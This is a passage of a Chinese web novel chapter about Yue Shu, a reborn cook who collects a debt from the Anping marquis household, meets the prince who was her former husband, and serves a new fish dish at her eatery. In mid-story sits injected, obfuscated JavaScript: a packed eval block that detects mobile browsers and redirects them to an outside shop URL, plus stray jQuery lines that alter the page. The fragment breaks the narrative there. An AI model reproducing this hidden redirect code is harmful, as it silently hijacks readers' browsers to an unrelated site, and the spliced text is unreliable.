周让昂着头,心想如今去个食肆,阿姐也要管。
周烟握紧拳头:“你可知道那月记是谁开的?”
周让习惯性出口:“我哪…”意识到说错话,连忙改口:“不知道。”
周烟拍了拍桌子:“那是奉城月家五小姐月书开的。”
周让睁大眼睛:“表哥的未婚妻!”
他知道阿姐从小就爱慕表哥,那些多看表哥一眼大的女子她恨不得挖了那些人的眼睛,更何况是表哥的未婚妻,恨不得杀而后快。
“那阿姐为何打我,我去闹一闹,兴许她的店就开不下去了。”
周烟恨铁不成钢,想不明白,父亲如此深谋远虑,怎么家里的男丁一个不如一个。
“你懂什么!这几日老实在府里待着,不要告诉表哥她在京城。”
周让想问为什么,但是看周烟表情严肃带着警告,只好缩了缩脑袋,称:“知道了。”
周烟回到书房,看向跟在身后的周游:“跟踪之人,可抓到了?”
“被他跑了。”周游半跪地上请罪。
周烟怒道:“跑了?”
那叫眠眠的侍女目光冷冷地看了回来,周游连忙低头,心都要跳进嗓子眼里,担心自己会和秋云一样的下场。
“还不快去找!”周烟依旧有些心神不宁,挥挥手:““生要见人,死要见尸!””
“是!是!”周游如释重负,赶紧跑出去。
侍女端着热水,走了进来。周烟叹气道:“眠眠,你说那人会不会对安平侯府做什么?”
眠眠打湿了毛巾,替周烟擦手:“不会,派去的也是侯爷培养的人,一家老小都在侯爷手中,不会出卖侯府的。”
周烟定定心神:“那就好。”
眠眠,将毛巾放进盆里:“郡主放心吧,明日二皇子要来,可不能顶着两个黑眼圈去见他。”
周烟露出了女儿家的娇羞:“眠眠惯会打趣我,那我休息了。”
一想到明日表哥要来,她按耐不住,盼望着早些天亮。
“郡主,快醒醒,前厅来客人了,夫人请您过去。”安平侯夫人的丫鬟翠柳在门外报信。
周烟惊喜道:“一定是表哥,怎的来的如此早。”脸颊爬上了两团红晕。
“你告诉母亲,我随后就到。”对着镜子好一顿装扮,略施粉黛,眉眼舒展:“眠眠,怎么样?”
眠眠笑眯眯:“郡主真真是个美人胚子,二皇子见了一定欢喜。”
厅内坐着一位衣着华贵的夫人,她身边还坐着一名女子。看不清容貌,那女子正给母亲的拍背,手中不知是什么东西就往母亲嘴里塞。
她上前推开她,怒道:
“大胆!你是什么人!给我母亲吃的什么!”
女子一个趔趄摔倒在地,抬起头看向她:“给我抓住她。”
“郡主不认识我?”月书淡定又道:“给夫人吃的是柚子糖,缓解夫人晕眩之症。”
周烟盯着她的脸半天,道:
“休要故弄玄虚,把她抓起来!”
侍卫们纷纷上前捉拿,月书左右闪躲,几人都进不了身。
月书一脸无辜道:“郡主,不认得我?月记掌柜月书,今天来要帐的,一千五百九十两。”
周烟一愣,眼神探究:
“你是月书?!”
侯夫人刚刚脑袋晕眩,整个人差点晕过去,吃了那柚子糖后缓和了不少:
“烟儿,不得无理。”
周烟声音瞬间拔高:“母妃!她是表哥的未婚妻!”
安平侯夫人也是微微愣神,立刻恢复端庄:“既是你表哥的未婚妻,你便更应该善待了。”
看向月书道:“方才让你受惊了,烟儿不懂事。你先坐。”
月书坐下,将账单放在桌面上:“夫人,郡主怕是误会了,我并不认识郡主的表哥。我只是来要账的。”
“快坐。”安平侯夫人一愣,又顺了顺心口:“她表哥是当今二皇子叶承允。月姑娘不认识?”
月书接过侍女端来的茶水,刚喝了一口,直接喷了出来:“误会误会,民女不过是个厨子,哪敢高攀二皇子。”
周烟皱眉:“你当真不是那个月书?”
月书放下茶盏道:“”
“民女确实叫月书,但还尚未订婚。”她将账单递给身边的婢女:“夫人,今日冒昧登门是为着账单而来。”
安平侯夫人接过婢女拿过来账单:“账单?什么账单?”她一目十行看了起来,脸色越来越差!
这分明是认罪书,这若是交到官府,杀婢女,嫁祸给别人,还打砸店铺,想要强行掳走,楚广王还在场,这若是传出去周烟的名声算是毁了,谁家敢娶这样的女子。
她压下心头的火气:“去库房取一千六百两银子来,交给这位掌柜。”
花厅内安静地滴水可闻,周烟杏眼圆瞪,盯着月书。
管家把银票送了进来,侯夫人笑道:“小女顽劣,月掌柜莫怪。”
“不怪不怪。”月书连连摆手,将准备的柚子糖放了一袋在桌上便随着管家离开了。
身后传来侯夫人疾言厉色的质问:“周烟!这都是你做的?”
月书没有理会,希望她能够别再犯傻。
突然院中,零星的雪点飘落,夹杂着冬日的寒风,吹得月书手直往袖中缩。
前方传来熟悉的声音:“表妹近来可好?”
月书视线盯着那白衣身影,叶承允,没想到会在这里遇见,她前世的‘好夫君’。
月书微微低头,任由冰冷的雪落在身上顷刻间融化,寒凉之意夹杂着恨意融进了肌肤之下。
藏在袖中的手不自觉握紧,指尖发白,眼眶猩红,前世的记忆历历在目。
如今恨不得亲手了结这厮,在这众目睽睽之下她压下了藏了十年的杀意。
月书径直走向大门,与叶承允擦身而过。
“站住。”叶承允的声音。
月书身子一顿,听着脚步声走到她面前:“抬头。”
身边的管家提醒:“这是二殿下。”
月书压下要逃跑的冲动,若是逃跑反而可疑。
她缓缓抬头,瞧见叶承允眼中一闪而过的惊艳之色。
月书行礼:“见过二殿下。”
叶承允摸着下巴若有所思:“我们是不是见过?”
月书手心黏腻,摇了摇头。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17681339|207703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
他似乎是想起来一般:“前几日在街上,你坐在风雅集二楼吃茶。”
月书心头微松,点头。
叶承允眼睛一亮:“真是有缘,你是哪家的女郎?”
“表哥,你在做什么?”周烟盯着二人。
叶承允笑道:“烟儿妹妹。”
月书施礼快步离开了安平侯府,生怕后背有毒蛇在追。一口气躲进远处巷子里,背靠着高墙,大口大口地喘着气。
心道还是太心急了,只是去确认一番,李业的速度还是太慢了,须得再想想其他办法。
夜晚,月记食肆今日挂上了新的招牌菜“咸齑笃鱼”,这道菜与腌笃鲜的做法相似,唯一不同的是此“笃”为小火慢炖,汤汁要少。
所谓‘九笃豆腐,四笃鱼’,便是如此
咸齑又有天然的鲜气儿,咸齑切成小丁、肉丁与少许辣椒一起在锅中快速翻炒,肉丁边缘金黄再加入一大勺豆酱。
月书从水桶里舀起一大勺滚烫的热水,慢慢倒入锅中。
一瞬间咸齑与豆丁的鲜气儿便吊出来了,紧接着将处理好的鲫鱼,放入锅中,小火慢慢笃,待汤汁收尽,不需要放任何调料,咸齑便是最好的调味。
包子早已等候多时,瞧着真鱼就觉得香,端着鱼边走边报菜名:“咸齑笃鱼来咯~”
丰楼的东家此时便坐在食肆。
自从他亲眼目睹月记那晚梅花宴的盛况,京城中的食肆、酒肆纷纷模仿,到处寻竹笋、辣椒、苔菜。
这辣椒好寻,但是苔菜是见都没见过,他眼看着生意一落千丈,急得团团转,梅花宴那日他也去了,只是去晚了,没尝到。
能寻到的辣椒,太辣,实在无法入口,那竹笋如何做都是麻涩之味,根本无法入口,便打算来月记碰碰运气。
虽然今日没能尝到腌笃鲜,单看着眼前这盘酱香浓郁的咸齑笃鱼十分诱人,以往河鱼寻常的做法,要么清蒸、要么煮汤,要么红烧。
这笃鱼还是头一次见。
再看这鲫鱼本身鱼刺繁多,吃起来有卡刺的风险。
可这条鱼刀工细腻,鱼身横向改了花刀,那小刺也被切成了极短的小段,他举起筷子,加了一块肉放进嘴里。
一个字“鲜”。
寻常也吃过咸齑,但是绝没有这般极致的鲜,可见厨师对于火候的掌握十分娴熟。
鱼肉在牙齿间微微一碾,居然难感受到鱼刺的存在,连肉带刺一起滑入肚中。
对这道菜的厨子产生了敬畏之情,至少比他强多了。
他望着食肆内坐满的宾客,有的人两个人就点了三四盘鱼,十分羡慕,仿佛看到了往日丰楼客似云来的场景。
那边食客,伸筷子尝了一口鱼,眼睛一亮,酱香鲜香带着些微微的辣,抬手道:“小二,给我来一碗米饭。”边说边又夹了一口:“这个叫什么咸齑的太下饭了。”
待米饭一到,他拿那盘鱼,将里面的咸齑、汤汁、鱼肉一同浇到米饭上,米饭挂满了深褐色的汤汁酱汁。
他大口地往嘴里扒饭,抬头皱眉:“小二,你这饭是怎么做的?”
包子一头懵,心提到了嗓子眼:“客官有什么问题吗?”